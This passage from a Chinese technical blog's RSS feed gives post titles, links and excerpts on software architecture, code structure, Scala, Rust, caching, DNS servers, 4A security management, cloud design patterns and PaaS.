&lt;li&gt;&lt;strong&gt;开发态依赖&lt;/strong&gt;：如开发模块A时，需要依赖其它模块提供的接口，数据结构等文件依赖；还有一种如测试依赖，仅仅发生在开发阶段，在测试时，需要依赖测试数据，测试框架等，测试完成就不需要了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行态依赖&lt;/strong&gt;：在系统运行时，模块A必须依赖其它模块提供能力才能完成某种完整的功能或服务，依赖的形态可能是本地或远程接口，集中配置数据，模型数据信息等。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开发态依赖可能引发运行态依赖，但运行态依赖不一定需要在开发态就依赖。我们经常关注的是运行态依赖导致的问题，目前的微服务架构设计，减少了开发态的依赖，把依赖导致的问题后移到运行态。&lt;/p&gt;
&lt;p&gt;模块之间最好还是单向的依赖，如果出现A依赖B，B也依赖A，那么要么是A、B应该属于一个模块，要么就是系统整体拆分有问题。一个完整的软件系统的模块依赖应该是一张有向无环图。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>清晰的代码结构</title>
      <link>http://lanlingzi.cn/post/technical/2019/0519_structure/</link>
      <pubDate>Sun, 19 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0519_structure/</guid>
      <description>&lt;h1 id=&#34;问题&#34;&gt;问题&lt;/h1&gt;
&lt;p&gt;架构设计中常常关注几个视图，如功能视图、逻辑视图、运行视图与部署视图。但架构师们由于层次较高，长期缺少代码编写能力，往往就直接忽视了开发视图。开发视图主要描述软件的开发工程结构、代码规范，以及构建技术等。代码结构和构建关系到项目的可持续维护以及维护的周期，非常重要。但实现开发活动，架构到开发中间层的GAP，真正重视并落地的很少很少。&lt;/p&gt;
&lt;p&gt;清淅明确的代码结构，是软件项目成功的重要开始。&lt;/p&gt;
&lt;p&gt;代码结构不应该仅仅归纳为 “代码编码风格” 一类，它是架构在代码层次的真实反应，架构是否能落地，代码结构的良好设计起着至关重要的作用。软件是有生命力的，需要考虑其可持续性发展。一个结构层次非常不好软件，它的逻辑可能并不一定复杂，但随着时间的推移，需要花费非常长的时间去理解它表达的的意思。同样不好的代码结构，让构建变得困难或效率低下，进一步降低了它的生命力。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>不断学习</title>
      <link>http://lanlingzi.cn/post/thoughts/2019/0511_study/</link>
      <pubDate>Sat, 11 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2019/0511_study/</guid>
      <description>&lt;h1 id=&#34;忽视的差距&#34;&gt;忽视的差距&lt;/h1&gt;
&lt;p&gt;事实上发现很难去标签化软件编码高手的特征。资深软件工程师和新手似乎看起来没啥区别，区别他们是异常困难，尤其这个群体中很多的人不愿意展现自己，他们可能藏在一个领域默默奉献着，不显山不露水。&lt;/p&gt;
&lt;p&gt;软件开发中很多例行却看是平淡的活动，大家似乎都能做到。以产品交付为中心的文化里，人人都是螺丝钉，往往忽然一个人的价值点，很少有人能愿意去了解甚至去分析新手与高手之间的差距。软件开发中专业性总容易被主管们忽视，也因此严重影响了软件工程师追求卓越的过程。曾经发生过可怕的高层观点：精英做架构，资深做设计，随便招个高中生编码就行了。试图把软件产品开发也做成像其它物理产品一样的流水线，这多么年来证明是错误的。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>支持LateX</title>
      <link>http://lanlingzi.cn/post/notes/2019/0504_latex/</link>
      <pubDate>Sat, 04 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2019/0504_latex/</guid>
      <description>&lt;p&gt;五一放假正好有点时间，于是计划完成这个 Issue: &lt;a href=&#34;https://github.com/xtfly/hugo-theme-next/issues/8&#34;&gt;Is it possible to add latex support&amp;hellip;&lt;/a&gt;，要解决支持LateX，只需要集成&lt;a href=&#34;https://github.com/mathjax/MathJax&#34;&gt;MathJax&lt;/a&gt;。&lt;/p&gt;
&lt;h1 id=&#34;如何集成&#34;&gt;如何集成&lt;/h1&gt;
&lt;p&gt;在主题文件&lt;code&gt;layouts/partials/script.html&lt;/code&gt;中增加如下，先采用了cloudflare的CDN，暂没有打包到主题目录中，国内可能稍慢些。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>代码整洁与洁癖</title>
      <link>http://lanlingzi.cn/post/technical/2019/0501_clean_code/</link>
      <pubDate>Wed, 01 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0501_clean_code/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;我司强执行力，很容易把事情做得极致，但有时过于极致反而带来不好的意外结果。我参与了公司C/Java等编程规范的评审，但让我受不了的是编程规范中条款事无巨细。连运算符或关键字之间几个空格都要写入规范，太多关于格式、命名等条款。这种在代码格式上的洁癖，可能是见仁见智。但我司的特点是一旦形成规范，就会强行执行，先是考试，再是落入到项目中，像有几个空格这种拿来考试不是折磨人吗，能使用工具解决的为什么不去开发一个工具来提升效率，而不是死记硬背的规范。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>成就感</title>
      <link>http://lanlingzi.cn/post/thoughts/2019/0427_fulfillment/</link>
      <pubDate>Sat, 27 Apr 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2019/0427_fulfillment/</guid>
      <description>&lt;p&gt;前天公司HR找我聊天，聊到问我的成就感是什么。我想表达的观点是成就感是内心一直能处于心态平和，心里踏实，不为事情所扰。尤其是作为一名技术人员，当前的工作是希望是不被打扰，不要去呈现价值，不要去讲故事而去获取更多的资源；而是把自己手上的工作尽自己最大可能努力去做好，自己问心无愧，自己也收获成长。&lt;/p&gt;
&lt;p&gt;这似乎有点高大上，不食人间烟火；或者是一种上升到生活哲学的感悟。现实生活中，我们到处都有着功利心，成就感就是对功利的满足。人们更乐于朝着自己收益最大的方向努力，而不是原地享受安逸。个人很难超脱学古人淡泊名利，即使在相对单纯的技术体系，你也会发现人没有功利心的确是一种不容易的事情。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>一指流沙，程序年华</title>
      <link>http://lanlingzi.cn/post/thoughts/2018/1226_hw_soft_king/</link>
      <pubDate>Wed, 26 Dec 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2018/1226_hw_soft_king/</guid>
      <description>&lt;p&gt;时间就像指间握不住的流沙，静静从身边溜走。&lt;/p&gt;
&lt;p&gt;这些年来，我所从事的工作领域在变化，所使用的技术在变化，经历过一线比拼的激情，持续熬夜的艰辛，产品上线的喜悦，一直在公司从事基层研发工作。人生就像自己编写的程序，在程序化地运行着，但能在最好的年华，做自己最热爱的事，于我是一种幸福。&lt;/p&gt;
&lt;h1 id=&#34;有了电脑后的放飞&#34;&gt;有了电脑后的“放飞”&lt;/h1&gt;
&lt;p&gt;上世纪90年代，爸爸单位用电脑记账，我觉得很是神奇，买不起电脑就买了个学习机，按照说明书，用GBASIC语言输出满屏各种形状的图形，心中被巨大的喜悦填满，开始了编程的启蒙。高考那年，又被《第一次亲密接触》中互联网的桥段吸引，毫不犹豫报了计算机专业，但遗憾被调剂到信息管理专业，这两个专业之间关系不大，我与编程失之交臂了。&lt;/p&gt;
&lt;p&gt;大一下学期买了电脑后，我开始“放飞”自己，各种操作系统只要出新的版本，我就会重装体验，此外就是打游戏，或者“泡”论坛，渐渐发现编程的乐趣，之后就在编码的路上停不下来了。参加过学校计算机编程比赛获三等奖，和室友一起搭建系里的网站，大学毕业去了一家互联网公司做程序员，直到2005年，我有幸加入华为，一晃已经十三年了。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Scala中的符号</title>
      <link>http://lanlingzi.cn/post/notes/2018/0721_scala_symbol/</link>
      <pubDate>Sat, 21 Jul 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2018/0721_scala_symbol/</guid>
      <description>&lt;p&gt;Scala被有人戏称是 “太阳系最难的语言” ，那我们来看看他那些各种奇怪的符号使用吧，语言充满语法糖，真让人甜得受不了。一旦这些符号组合起来使用，那只能用 “惊为天书” 来形容啊。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(map1 /: map2 ) { case (map, (k,v)) =&amp;gt; map + ( k -&amp;gt; (v + map.getOrElse(k, 0)) ) }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的看得懂吗，其实要实现的就是：合并两个Map集合对象（将两个对应KEY的值累加）。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;说明：本文为学习笔记，下面内容多数来源于网上多篇文档的收集与汇总，在此感谢原作者们。&lt;/em&gt;&lt;/p&gt;
&lt;h1 id=&#34;泛型&#34;&gt;泛型&lt;/h1&gt;
&lt;h2 id=&#34;heading&#34;&gt;&lt;code&gt;:&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;scala中泛型使用&lt;code&gt;[]&lt;/code&gt;指定泛型的类型参数，上下文界定是隐式参数的语法糖&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:&lt;/code&gt; 表示上下文界定，如&lt;code&gt;A：B&lt;/code&gt; 表示 B 可以进行隐式转化的A类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T:A:B&lt;/code&gt; 表示即同时满足AT这种隐式值和BT这种隐式值&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-与-&#34;&gt;&lt;code&gt;&amp;lt;:&lt;/code&gt; 与 &lt;code&gt;:&amp;gt;&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;:&lt;/code&gt; 表示只限定子类，如 &lt;code&gt;T &amp;lt;: A&lt;/code&gt; 表示T必须为A的子类&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;:&lt;/code&gt; 表示只限定子类，如 &lt;code&gt;T &amp;gt;: A&lt;/code&gt; 表示T必须为A的父类&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;:&lt;/code&gt; 与 &lt;code&gt;:&amp;gt;&lt;/code&gt; 相当于java范型编程中的extends，super对泛型变量的限定。&lt;/p&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T &amp;lt;: A with B&lt;/code&gt; 表示A和B为T上界&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T &amp;gt;: A with B&lt;/code&gt; 表示A和B为T下界&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T &amp;gt;: A &amp;lt;: B&lt;/code&gt; 表示同时拥有上界和下界，并且A为下界，B为上界，A为B的子类，顺序不能颠倒。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Cache设计</title>
      <link>http://lanlingzi.cn/post/technical/2018/0624_cache_design/</link>
      <pubDate>Sun, 24 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2018/0624_cache_design/</guid>
      <description>&lt;p&gt;一提到Cache，就想到08年我为公司写的消息缓存系统的惨痛教训。当时Redis与Memcached远还没有流行，公司对使用开源项目也是慎重，于是我和另一个同事自己撸了一个系统，但做着做着就变成一个带有强业务逻辑的Cache了。后面又扩大他的使用场景，也导致了一些问题。这个系统的要满足如下场景：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;针对消息对象缓存，每个消息都非常小，要高效地使用内存&lt;/li&gt;
&lt;li&gt;存在定时消息，当定时到了，需要回到业务系统中去调度&lt;/li&gt;
&lt;li&gt;消息有优先级与时序性，要支持按不同的属性来索引（消息ID，发送人，收件人等）&lt;/li&gt;
&lt;li&gt;消息量非常大，缓存需要有淘汰机制，支持淘汰的消息本地文件存储（相当于多级缓存，本地文件存储要求高效索引）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从上面的场景来，它比纯Key/Value的缓存复杂，即要高效使用内存，同一个Value缓存，存在多个Key映射，而Value只能缓存一份，Value有优先级与时序性，索引时需排序处理，又有点消息队列的诉求。&lt;/p&gt;
&lt;p&gt;今天，我们大量在使用Redis来做缓存，Redis只作为Key/Value存储，上层复杂的缓存相关业务逻辑是在其外来叠加实现。但由于对于业务系统来说，永远都是具体情况具体分析，没有最好，只有最合适，所以也不得不要考虑通用问题：缓存穿透、缓存雪崩，缓存击穿。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>自定义扩展Spring Cache注解</title>
      <link>http://lanlingzi.cn/post/technical/2018/0623_customize_spring_cache/</link>
      <pubDate>Sat, 23 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2018/0623_customize_spring_cache/</guid>
      <description>&lt;p&gt;昨天在公司发现采用@Aspect定义一个切面，对MyBatis的Mapper接口方法上标注自定义的注解，无法切入拦截。&lt;/p&gt;
&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;Spring Cache提供了声明式的@Cacheable等注解，很方便地对Mapper接口方法来实现缓存。他们好用但简单，缓存的Key大多选择主键。但实际项目上有不少关系对象表（如下面的代码所示）；不能采用主键作为Key，因为大多数的查询场景是根据其关联的另一个字段查询。若以此字段作为Key，当存在批量插入，更新或删除时，都会影响缓存的数据。而Spring Cache的注解无法对参数为数组或List的生成Key。&lt;/p&gt;
&lt;p&gt;于是想到自定义Cache注解来解决批量插入，更新或删除来刷新相应的缓存。对注解的拦截@Aspect声明的切面是最为简单的方式。核心实现代码如下：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Rust支持既存类型的理解</title>
      <link>http://lanlingzi.cn/post/technical/2018/0602_existential_types/</link>
      <pubDate>Sat, 02 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2018/0602_existential_types/</guid>
      <description>&lt;p&gt;最近利用周末时间来学习Rust编程，发现新发布的1.26版本，带来了&lt;a href=&#34;https://github.com/rust-lang/rust/pull/49255&#34;&gt;&lt;code&gt;impl Trait&lt;/code&gt;&lt;/a&gt;，一时对它的写法难以理解，今天又找点资料再温习一下。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;impl Trait is now stable allowing you to have abstract types in returns or in function parameters. e.g. fn foo() -&amp;gt; impl Iterator&amp;lt;Item=u8&amp;gt; or fn open(path: impl AsRef&lt;!-- raw HTML omitted --&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;既存类型&#34;&gt;既存类型&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;impl Trait&lt;/code&gt;是对&lt;a href=&#34;https://en.wikipedia.org/wiki/Type_system#Existential_types&#34;&gt;&lt;code&gt;既存类型(Existential types)&lt;/code&gt;&lt;/a&gt;的支持，那什么是既存类型?&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>从Archlinux到Manjaro&#43;i3 WM</title>
      <link>http://lanlingzi.cn/post/notes/2018/0415_manjaro_i3/</link>
      <pubDate>Sun, 15 Apr 2018 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2018/0415_manjaro_i3/</guid>
      <description>&lt;p&gt;这个周未又在家折腾我的Archlinux，把Archlinux换成了Manjaro，窗口管理采用i3-wm，先上图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/screenshot/manjaro/1.png&#34; alt=&#34;&#34;&gt;
&lt;img src=&#34;http://lanlingzi.cn/images/screenshot/manjaro/2.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>响应式编程</title>
      <link>http://lanlingzi.cn/post/technical/2017/1001_reactive_programming/</link>
      <pubDate>Sun, 01 Oct 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/1001_reactive_programming/</guid>
      <description>&lt;h2 id=&#34;rxjava&#34;&gt;RxJava&lt;/h2&gt;
&lt;p&gt;最早接触响应式编程，是分析Netflix的架构时，发现Netflix系统中大量使用了&lt;a href=&#34;https://github.com/ReactiveX/RxJava&#34;&gt;RxJava(Reactive Extension for Java)&lt;/a&gt;。由于Netflix中服务的高并发请求，需要一个高效的异步编程框架，于是他们参考了微软的&lt;a href=&#34;http://Rx.Net&#34;&gt;Rx.Net&lt;/a&gt;的实现原理，在JVM上实现了响应式编程(Reactive Programming)的一种方式。同类的库还有&lt;a href=&#34;http://projectreactor.io/&#34;&gt;Project Reactor&lt;/a&gt;, &lt;a href=&#34;https://akka.io/&#34;&gt;Akka&lt;/a&gt;和&lt;a href=&#34;https://github.com/google/agera&#34;&gt;Agera&lt;/a&gt;等等。&lt;/p&gt;
&lt;p&gt;传统编程模式下，我们通常是同步实现。同步是最能简单理解的，调用一个函数或方法，等待响应返回。但对于要求高并发的服务端的软件开发，同步实现带来的开销也是巨大的。像Java中，并没有语言层面实现异步，如果没有借助一些框架，1K的并发请求，可能使用1K的线程来处理；如果采用一些异步框架来实现异步，就会像早期的JavaScript，通常是CallBack，Future模式，代码逻辑变得离散而复杂，造成所谓的&lt;code&gt;Callback Hell&lt;/code&gt;。JavaScript在ES6引入Promise机制，在ES7引入async关键字，就是想语言原生层面来解决&lt;code&gt;Callback Hell&lt;/code&gt;。而Go语言则更进一步，在内置Runtime中，通过Goroutine调度实现IO调用等异步机制，让上层使用感不到异步调用的存在。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件的困境</title>
      <link>http://lanlingzi.cn/post/thoughts/2017/0925_soft_dilemma/</link>
      <pubDate>Mon, 25 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2017/0925_soft_dilemma/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/soft_rm_.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;最近我司的软件产品线面临其史上最大的因境，今天晚上坐班车时，与一位曾经共过事的同事，聊起现在的软件，感慨颇多。大家都认为我们镨过太多的机会点，现在面对互联网软件的直面冲击，以及运营商本身经营上的乏力，运营商这个领域的软件已经无力回天了。另外之前与其它的同事也聊过，我司本质是一家硬件公司，没有做软件的基因。凭着做硬件的套路，做了这么多年的软件产品，也实属于不容易了。做软件产品与做软件服务是完全不同的套路，软件产品是需要卖给不同的客户，交付形态存在多样化，定制不可避免。而卖服务给不同的客户，客户关注是的服务体验，并不太关心软件的本身，只要软件能搞定客户的问题就行，就不会像卖产品那样面临不同的交付形态问题。而目前我们最大的因境就是软件产品不具有可复制性，不能像硬件那样形成规模效应。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>开源DNS Server</title>
      <link>http://lanlingzi.cn/post/technical/2017/0910_dns_opensource/</link>
      <pubDate>Sun, 10 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0910_dns_opensource/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/dns.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;DNS是互联网的基础设施，开源的DNS也有不少，下面列出主要的几种供参考：&lt;/p&gt;
&lt;h2 id=&#34;bind9&#34;&gt;Bind9&lt;/h2&gt;
&lt;p&gt;ISC（Internet System Consortium）的Bind一直以来基本上都是DNS的工业标准，Bind应该是目前世界上使用最为广泛的DNS服务器了。Bind起源于1980年的Berkeley大学，比起我的年龄还大，Bind的名称也是源自&lt;code&gt;Berkeley Internet Name Domain&lt;/code&gt;。不过Bind也是一直漏洞不断，Bind9是ISC开发人员对Bind重写，目前常见的Linux发行版本中，会自带Bind9的安装包。&lt;/p&gt;
&lt;p&gt;Bind9可以作为权威与递归DNS。主要特性如下：&lt;/p&gt;
&lt;p&gt;作为权威DNS时：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>[转]DNS扫盲系列</title>
      <link>http://lanlingzi.cn/post/technical/2017/0903_dns/</link>
      <pubDate>Sun, 03 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0903_dns/</guid>
      <description>&lt;p&gt;致谢：转自 &lt;a href=&#34;http://bbs.chinaunix.net/thread-1573358-1-1.html&#34;&gt;http://bbs.chinaunix.net/thread-1573358-1-1.html&lt;/a&gt;  ，由 &lt;a href=&#34;http://bbs.chinaunix.net/space-uid-71828.html&#34;&gt;llzqq&lt;/a&gt; 发表。&lt;/p&gt;
&lt;h2 id=&#34;有关公网dns&#34;&gt;有关公网DNS&lt;/h2&gt;
&lt;p&gt;公网DNS服务器是直接服务于广大上网用户的，负责域名（域名记录）到IP地址之间的翻译工作。公网DNS通常是各个网络运营商按照自己的网络分布规划DNS的分布，一般做法是按行政区域放置，如按省份放置。每个省份内也有细分在各地区放置的情况。&lt;/p&gt;
&lt;p&gt;近几年来细心的网友会发现上网时如果打错了URL地址（或干脆莫名其妙）会访问到114网站或百度等网站。今天我画了一个简单的图表简要说明一下原因。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/dns_1_arch.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>4A技术概览</title>
      <link>http://lanlingzi.cn/post/technical/2017/0730_4a/</link>
      <pubDate>Sun, 30 Jul 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0730_4a/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/4a_security.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;什么是4a&#34;&gt;什么是4A&lt;/h2&gt;
&lt;p&gt;4A是指：账号Account、认证Authentication、授权Authorization、审计Audit，中文名称为统一安全管理平台解决方案。即将身份认证、授权、审计和账号(即不可否认性及数据完整性)定义为网络安全的四大组成部分，从而确立了身份认证在整个网络安全系统中的地位与作用。(来源百度百科)&lt;/p&gt;
&lt;h2 id=&#34;账号account&#34;&gt;账号Account&lt;/h2&gt;
&lt;p&gt;为用户提供统一集中的帐号管理，包括：用户身份信息的集中存储与统一管理。参考AWS等系统，涉及到概念包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主账号：一般指管理资源的唯一身份标识，他为资源付费。也是自然人在4A中的唯一身份标识，一个用户只会有一个主账号，唯一标识了他的身份。&lt;/li&gt;
&lt;li&gt;从账号：一般指资源访问的账号，如虚拟机的访问用户，数据库的访问用户等。&lt;/li&gt;
&lt;li&gt;用户：实现操作资源的人员，对应物理存在的人，它由账号分配。&lt;/li&gt;
&lt;li&gt;群组：一般对应企业的组织，把用户归属到一个群组里，用户可以自动获得这个群组所具有的权限。对于大型的企业，组织可能分为人员组织与业务组织。对于用户来说，群组也是为提供分级管理能力。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>云设计模式</title>
      <link>http://lanlingzi.cn/post/technical/2017/0715_cloud_design_pattern/</link>
      <pubDate>Sat, 15 Jul 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0715_cloud_design_pattern/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/azure.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;在云环境下，如何构建出可靠，弹性，安全的应用？有哪些挑战？面对这些挑战如何解决，微软Azure总结一系列的设计模式。本文是翻译&lt;a href=&#34;https://docs.microsoft.com/en-us/azure/architecture/&#34;&gt;Azure架构中心&lt;/a&gt;在线资料中的&lt;a href=&#34;https://docs.microsoft.com/en-us/azure/architecture/patterns/&#34;&gt;云设计模式&lt;/a&gt;，仅个人的笔记，借翻译学习一下，英文好的可以直接阅读原文。&lt;/p&gt;
&lt;h2 id=&#34;挑战&#34;&gt;挑战&lt;/h2&gt;
&lt;h3 id=&#34;可用性&#34;&gt;可用性&lt;/h3&gt;
&lt;p&gt;可用性是指系统功能可用的时间占整体的比例，通常以正常运行时间比来衡量，它会受到系统错误、基础设施问题、恶意攻击和系统负载的影响。云应用典型为用户提供提供服务级协议（SLA），因此必须设计应用以最大限度地可用性。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>运维模式</title>
      <link>http://lanlingzi.cn/post/technical/2017/0708_ops_pattern/</link>
      <pubDate>Sat, 08 Jul 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0708_ops_pattern/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/ops_pattern.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;最近一段时间由于工作内容重心变化，从PaaS系统的设计到运维系统的设计。运维系统的设计对我来说，还是一项全新的领域，需要学习的理念与技术很多。全司虽有大量的产品涉及到软件系统，但本质还是一个硬件盒子，运维的对象还是偏硬件。&lt;/p&gt;
&lt;p&gt;熟悉电信IT系统的人或许听说过：OSS(Operation Support System)，运营支撑系统，它是运营商IT系统中三大支柱系统之一。其它两大系统是：BSS(Bussiness Support System), MSS(Management Support System)。&lt;/p&gt;
&lt;p&gt;OSS是面向资源的后台支撑系统。资源主要包括网络，电信设备，计算系统等。系统的主要功能是包括专业网络管理，综合网络管理，资源管理，业务开通，服务保障等。但公司的产品线众多，产品形态也是千差万别，公司的OSS产品也一直在探索与发展。产品开发部门也是分分合合，一直是想打造一套统一的运营支撑平台。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>为什么我写不下去</title>
      <link>http://lanlingzi.cn/post/thoughts/2017/0626_how_to_write/</link>
      <pubDate>Mon, 26 Jun 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2017/0626_how_to_write/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/write_thinking.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;近一年来，写博客很少。总结起来有如下三点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;没有时间&lt;/li&gt;
&lt;li&gt;没有素材&lt;/li&gt;
&lt;li&gt;没有心情&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我很佩服那种每天都能写上千字博文或公众号的人，因为坚持写作需要很强的毅力。我没有能够坚持下来，其实最重要还是没有心情，动力不足。那作为一位内心深处又想写点东西的人，如何破？&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Install MySQL on MacOS</title>
      <link>http://lanlingzi.cn/post/notes/2017/0603_mac_mysql/</link>
      <pubDate>Sat, 03 Jun 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2017/0603_mac_mysql/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/y17/mysql.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;最近在家想写的东西，在MacOS上需要使用到MySQL。在MacOS下，使用brew来安装软件是最便捷。关于brew是什么，可在brew官网查看：&lt;a href=&#34;https://brew.sh/index_zh-cn.html&#34;&gt;brew官网&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  ~ brew info mysql
mysql: stable 5.7.18 (bottled)
Open source relational database management system
......
➜  ~ brew install mysql
&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    
    <item>
      <title>PaaS的发展</title>
      <link>http://lanlingzi.cn/post/technical/2017/0304_paas/</link>
      <pubDate>Sat, 04 Mar 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0304_paas/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/paas/paas1.jpeg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;云计算按提供服务层次，通常划分为三层：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IaaS ：基础构架即服务。这一层主要是对基础设施进行管理以给用户提供资源使用，如提供计算服务、安全备份、负载管理等。&lt;/li&gt;
&lt;li&gt;PaaS ：平台即服务。这一层主要是基于IaaS之上，简化应用的部署、维护等，提供一些通用平台软件能力，如数据挖掘、系统管理、编程模型等。&lt;/li&gt;
&lt;li&gt;SaaS ：软件即服务。这一层主要是面向终端客户，提供一站式的解决方案。如提供CRM、HRM、SCM等，是可以直接使用其服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;个人一直从事PaaS的研发，而我们做的又是面向电信领域的PaaS。与外面的朋又交流发现，大家对PaaS的理解是不一样的，主要还是由于PaaS的本质是要解决的问题是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;简化开发，打通DevOps，实现业务应用的敏捷与弹性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不同的业务领域，要面对是&lt;code&gt;不同的传统应用架构如何通过PaaS平台迁移到云上&lt;/code&gt;，这就会导致各自对PaaS的需求或多或少有着不同的差异，理解不一样也是正常的。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Design for Failure</title>
      <link>http://lanlingzi.cn/post/technical/2017/0216_dff/</link>
      <pubDate>Thu, 16 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0216_dff/</guid>
